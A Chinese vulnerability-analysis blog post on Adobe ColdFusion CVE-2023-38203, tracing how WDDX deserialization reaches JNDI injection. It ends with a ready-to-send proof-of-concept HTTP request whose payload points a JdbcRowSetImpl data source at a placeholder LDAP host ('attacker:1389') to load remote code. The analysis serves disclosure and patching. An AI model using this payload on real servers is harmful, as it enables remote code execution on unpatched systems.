漏洞分析|Adobe ColdFusion 远程代码执行漏洞(CVE-2023-38203)

1.漏洞描述

Adobe ColdFusion是一种服务器端的Web应用开发平台。它由Adobe Systems开发,用于创建动态的、交互式的Web应用程序和网站。

Adobe ColdFusion在2018u17及之前版本、2021u7及之前版本和2023u1及之前版本中存在任意代码执行漏洞。该漏洞是由于反序列化不受信任数据漏洞的影响,可能会导致任意代码执行。攻击者可利用该漏洞对目标有针对性的发起攻击,危害站点系统安全。

2.影响版本

ColdFusion <=2018u17

ColdFusion <=2021u7

ColdFusion <=2023u1

3.影响范围

4.漏洞分析

我们通过git diff看到coldfusion.wddx.DeserializerWorker.java文件

这是一个XML 类型的WDDX数据包解码器。在startElement方法中DeserializerWorker,我们注意到新添加的验证是通过validateWddxFilter() struct参数执行的。

WDDX数据包的解析

<wddxPacket version='1.0'><header/><data><struct type='className'><var name='prop_name'><string>prop_value</string></var></struct></data></wddxPacket>

经过调试后发现Java 反射在某些代码块中被广泛使用,这表明用户输入将经历反射调用。

这是解析过程中有趣部分的代码流程:

 onEndElement() -> getClassBySignature() -> setBeanProperties()

在该方法中,如果 WDDX 数据包的结构元素中提供了 type 属性,则会对该字段onEndElement()执行检查 

 

通过此检查后,将调用getClassbySignature(),它使用反射来获取类实例。类名源自用户控制的输入m_strictType

有了类名后,就可以使用反射来访问类的构造函数,没有参数的构造函数,并实例化类的实例。然后将此实例与用户控制的m_ht字段一起传递给setBeanProperties(),该字段包含WDDX变量。

如果bean有任何setter方法,它将被返回,并最终通过Java Reflections在bean上调用,变量的值是唯一的参数,这些变量的值来自用户控制的WDDX数据包。

在我们通过搜索WddxDeserializer的代码进行分析的过程中,我们发现了一个FilterUtils类的调用。

在GetArgumentCollection方法中使用的。从表单或查询字符串中提取argumentCollection参数。然后检查检索到的输入以确定它是否为JSON类型。如果不是,则使用WDDXDeserialize调用将该值反序列化为WDDX数据包。

在我们的分析中,预授权CFC端点触发对GetArgumentCollection的调用,并最终触发对易受攻击的接收器的调用,即WDDXDeserialize。

/CFDE/adminapi/accessmanager.cfc是预授权有效的cfc端点

我们选择了一个满足指定要求的简单类java.util.Date,我们在请求中创建了一个类似于以下内容的WDDX数据包。

我们能够确认对java.util.Date.setDate(our_input)的调用已成功执行。

我们看看com.sun.rowset.JdbcRowSetImpl类,如果将布尔参数传递给此类的setAutoCommit()方法,它将对dataSourceName执行JNDI查找,该查找可以使用setDataSourceName()方法进行设置。在调用setDataSourceName()之后再调用setAutoCommit()会导致JNDI注入漏洞。需要注意的是,在进行方法调用时,我们处于for循环中,因此我们能够在bean实例上调用多个方法。

我们通过WDDX反序列化升级到JNDI注入。

POC代码: 

POST /CFIDE/adminapi/accessmanager.cfc?method=foo&_cfclient=true HTTP/2
Host: localhost
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.134 Safari/537.36
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 266

argumentCollection=<wddxPacket version='1.0'><header/><data><struct type='xcom.sun.rowset.JdbcRowSetImplx'><var name='dataSourceName'><string>ldap://attacker:1389/exploit</string></var><var name='autoCommit'><boolean value='true'/></var></struct></data></wddxPacket>

5.修复建议

目前官方已发布新版已经修复此漏洞,并且为受影响版本发布了补丁,建议用户尽快升级至最新版本。

官方下载地址:

https://helpx.adobe.com/security/products/coldfusion/apsb23-41.html

 

  • 5
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值